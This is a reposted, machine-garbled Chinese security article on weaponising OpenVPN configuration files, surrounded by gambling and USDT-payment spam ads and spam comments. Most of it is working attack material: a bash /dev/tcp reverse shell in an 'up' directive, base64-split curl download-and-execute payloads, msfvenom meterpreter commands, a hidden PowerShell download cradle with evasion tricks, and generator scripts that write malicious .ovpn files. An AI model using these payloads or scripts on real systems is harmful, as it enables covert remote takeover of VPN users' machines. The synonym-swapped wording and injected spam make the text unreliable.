Telegram群组导航(www.telegram8.vip)是一个Telegram群组分享平台,飞机群组内容包括Telegram群组索引、Telegram群组导航、新加坡telegram群组、telegram中文群组、telegram群组(其他)、Telegram 美国 群组、telegram群组爬虫、电报群 科学上网、小飞机 怎么 加 群、tg群等内容,为广大电报用户提供各种电报群组/电报频道/电报机器人导航服务。

首页科技正文

usdt无需实名(www.caibao.it):平安手艺 | 行使OpenVpn配置文件反制的武器化探索

admin2022-12-17336技术

USDT自动充值API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

OpenVPN是企业常用的数据传输工具,然而使用不信任的ovpn文件是十分危险的,一旦被恶意行使可能会导致企业的数据信息泄露。本文由锦行科技的平安研究团队提供(作者:t43M!ne),先容了攻击者是若何对OpenVPN的设置文件举行修改,构建出可连接到远程控制端的反制模块,从而实现对OpenVPN用户系统的控制治理,深入探讨“反制”行为。

简述

无意中看到一篇18年的老文,作者形貌了一种行使OVPN文件(即OpenVpn的设置文件)建立一个反弹Shell的操作。焦点在于官方声明的up下令,该下令常用于启用TUN后的指定路由。本质上相当于起了一个历程运行指向的随便剧本。

作者给出了linux下的POC

remote 192.168.1.245

ifconfig 10.200.0.2 10.200.0.1

dev tun

script-security 2

up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.1.218/8181 0

而且探索了win上行使powershell弹shell的设置可行性

通过环境变量绕过up下令长度只能低于256的限制

想要行使这样一个显著带有恶意下令的设置文件来反制具备平安意识的攻击者是对照难

优化

+ Ubuntu20 (自带Openvpn)
+ win10 (OpenVpn Gui 2.4.9)
  [https://openvpn-gui.en.lo4d.com/windows]

01 Linux

首先是Linux平台,测试可以直接用自带的openvpn加载设置

openvpn -config evil.config

既然win上可以用环境变量支解payload,显然linux上也可以这样做

仿造botnet常用手段,将一条下载木马并执行的下令base64编码一下

, this is the part of the config file
setenv a1 "Y3VybCBodHRwOi8vMTI3Lj"
setenv a2 "AuMC4xL2EgLXMgLW8gL3Rt"
setenv a3 "cC9hICYmIGNobW9kICt4IC"
setenv a4 "90bXAvYSAmJiAvdG1wL2E="
up "/bin/bash -c 'echo $a1$a2$a3$a4|base64 -d|bash'"

, it will execute this command totaly 
curl http://127.0.0.1/a -s -o /tmp/a && chmod +x /tmp/a && /tmp/a

但执行`/bin/bash`的特征没其余好办法去掉, 翻了一下官方样例设置文件,然后往里边添加了100多行设置代码和注释,而且混淆了切割的payload变量名,伪装成与证书相关的操作

, generate
msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf
, host the launcher pe
python3 -m http.server 80
, start to listen
msfconsole -r linux_listen.rc

msf正常上线, 此处应有图, 但并没有。

02 Win

本以为win的对照好做,究竟原文已经给出了挪用powershell的poc了,但...先看看原文的挪用

up 'C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||'

用的是三无作坊的ps剧本,下令太长了20多个变量才切割完,祭出msf

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f psh-reflection -o a.ps1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f psh -o a.ps1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f psh-net -o a.ps1

先后实验了三种花样的,都不太稳固...只有初始包, meterpreter背锅

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64

最后拿原始payload自己替换到cs的powershell模板中,将模板的异或解密去掉

,

Usdt第三方支付平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
python3 -m http.server 80 
, start to listen 
msfconsole -r win_listen.rc

加载时就只需要执行这一串就可以了

iex(New-Object Net.WebClient).DownloadString('http://127.0.0.1/a.ps1');a.ps1

这样就乐成将下令缩短到4段,再简化一下参数,
将参数的指定方式`-`替换为`/`作下基本免杀,否则着实看不下眼了

setenv k0 xxx
setenv k1 xxx
setenv k2 xxx
setenv k3 xxx
up 'C:\\Windows\\System32\\cmd.exe /c "(start powershell /w hidden /enc %k0%%k1%%k2%%k3%)"'

先拿去试了一试,可以乐成执行,但hidden参数并不起作用,powershell的窗口一闪而过

直接在cmd终端甚至webshell下通过cmd /c 挪用的powershell时加上hidden参数是不应该有任何闪窗的

然后意识到这里用了start来启一个历程,这与以下的下令虽然像,但效果可差别, 果然是挪用方式问题

cmd.exe /c powershell /w hidden /enc %k0%%k1%%k2%%k3%

实验将start去掉,这下好了?不, 这下崩了,虽然官方文档中说明晰能使用单引号和双引号,反引号注明通报参数

单在win上的gui中某些特定情况下,并没有将整串powershell下令看成参数导致剖析失败

而用start的方式挪用会有闪窗..在一番乱查之后发现cmd另有一个`/b`参数可以解决这个万恶的闪窗

详细查看了一下错误日志,由于执行这一串下令后,返回的值跟openvpn预料的不符

以是openvpn以为这是执行失败了,以是把历程kill掉,并中止一切操作...

那就给它加个管道把输出丢了吧

up 'C:\\Windows\\System32\\cmd.exe /c "(start /min /b powershell /w hidden /enc encoded_shellcode)|cmd"'

但这样照样太长了很显眼,既然是cmd然后再挪用的powershell,我们其实有两次剖析环境变量的机遇,因此可以再嵌套一层变量

setenv kk 'start /min /b powershell /w hidden /enc %k0%%k1%%k2%%k3%'
up 'C:\\Windows\\System32\\cmd.exe /c "(%kk%)|cmd"'

固然不要忘了把日志品级设置一下,否则debug信息就把下令输出到log了

, Set log file verbosity.
 verb 0

最终行使

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64

, 替换到powershell模板里,然后python3 -m http.server 80 

, 将下载的url转为base64, 切割成四段, 隐藏到设置文件中...
全手动啊?好麻烦啊, 这也叫武器化?

武器化

天生剧本它这就来

01 linux

linux平台设置文件天生剧本

import base64
import random
import argparse

template = '''太长就不放了'''

def handle_tempalte(p1,p2,p3,p4):    return template.format(first='setenv resolv "{}"'.format(p1),    second='setenv key "{}"'.format(p2),    thrid='setenv client_key "{}"'.format(p3),
     fourth='setenv cert "{}"'.format(p4))
def encode_payload(url):
  file_str = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',4))    return str(base64.b64encode(bytes("curl {url} -s -o /tmp/{file_str} && chmod +x /tmp/{file_str} && /tmp/{file_str}".format(url=url, file_str=file_str),encoding="utf-8"))).strip("b'")
if __name__ == "__main__":
    parser = argparse.ArgumentParser()    parser.add_argument("url", help="the url where to download your cat")    args = parser.parse_args()    evil_code = encode_payload(args.url)    print("[+] evil_code: {}".format(evil_code))    flag = int(len(evil_code)/4)    file_content = handle_tempalte(evil_code[:flag], evil_code[flag:2*flag], evil_code[2*flag:3*flag],evil_code[3*flag:])    with open("evil.config", "w") as f:        f.write(file_content)    print('[*] Done! Maybe you should: msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf')
02 Win

powershell中/enc参数所需的base64编码是unicode的....无奈只能拿powershell写了

Set-StrictMode -Version 2

$powershell_template = @'太长就不放了'@
$tempalte = @'太长就不放了'@

function handle_tempalte { Param ($first, $second, $thrid, $fourth)    $tempalte = $tempalte.Replace('{first}',$first)    $tempalte = $tempalte.Replace('{second}',$second)    $tempalte = $tempalte.Replace('{thrid}',$thrid)    return $tempalte.Replace('{fourth}',$fourth)}
function handle_pstempalte { Param ($shellcode)return $powershell_template.Replace('%DATA%',$shellcode)}
$url = Read-Host "Please enter your download url, Ex: http://192.168.114.165/a.ps1 :"$file = Read-Host "Please enter your script name, Ex: a.ps1 :"$raw_payload = "iex(New-Object Net.WebClient).DownloadString('{url}');{file}".Replace('{url}',$url).Replace('{file}',$file)Write-Host $raw_payload$b64_payload = [convert]::tobase64string([system.text.encoding]::unicode.getbytes($raw_payload)), split payload$flag = $b64_payload.length/4$evil_ovpn = handle_tempalte $b64_payload.Substring(0,55).Insert(0,"setenv k0 ") $b64_payload.Substring($flag,$flag).Insert(0,"setenv k1 ") $b64_payload.Substring($flag*2,$flag).Insert(0,"setenv k2 ") $b64_payload.Substring($flag*3,$flag).Insert(0,"setenv k3 ")Out-File -FilePath .\evil.ovpn -InputObject $evil_ovpn -Encoding utf8Write-Host "generate shellcode command: msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64"$shellcode = Read-Host "Please enter your shellcode :"$evil_ps = handle_pstempalte $shellcodeOut-File -FilePath .\evil.ps1 -InputObject $evil_ps -Encoding utf8

Usage

01 Linux

msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf
python3 generate_linux.py http://192.168.114.165/a
 , host the launcher pe
python3 -m http.server 80
, start to listen
msfconsole -r linux_listen.rc
, attacker use the evil config file
sudo openvpn --config evil.ovpn
02 Win
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64
powershell -ep bypass -f generate_win.ps1> Please enter your download url, Ex: http://192.168.114.165/a.ps1 :: http://192.168.114.165/a.ps1> Please enter your script name, Ex: a.ps1 :: a.ps1> iex(New-Object Net.WebClient).DownloadString('http://192.168.114.165/a.ps1');a.ps1> generate shellcode command: msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64> Please enter your shellcode :: shellcode> [*] Done! Host your evil.ps1 by 'python3 -m http.server 80' on your vps
> [+] please look at evil.ovpn, and show me your SET skill
, host the launcher pe
python3 -m http.server 80
, start to listen
msfconsole -r win_listen.rc

References

文章:Reverse Shell from an OpenVPN Configuration File

链接地址:https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

网友评论

9条评论
  • 2021-10-01 00:10:29

      【全球时报综合报道】据《印度快报》12日报道,一个名叫谢赫·伊斯梅尔的28岁印度小伙子自制了一架直升飞机,却遭遇试飞失败而不幸身亡。来逛逛了

  • 2022-02-07 00:03:45

    发生了什么你们一定已经了然,关于吴先生是否人菜瘾大的争论甚嚣尘上,但从现在来看,连品牌方都不信托吴先生早上8点发的那条否认选妃的微博。看得扎心

  • 2022-09-28 00:13:16

    这不是杨丽娟想要的碰头,她想和刘德华面劈面,没有旁人打扰,说上几句话,让他好悦目看自己。叫上伙伴一起来看。

  • 2022-12-17 00:05:38

    chơi game kiếm tiền(www.vng.app):chơi game kiếm tiền(www.vng.app) cổng Chơi tài xỉu uy tín nhất việt nam。chơi game kiếm tiền(www.vng.app)game tài Xỉu đánh bạc online công bằng nhất,chơi game kiếm tiền(www.vng.app)cổng game không thể dự đoán can thiệp,mở thưởng bằng blockchain ,đảm bảo kết quả công bằng.
    轻赞一下

热门标签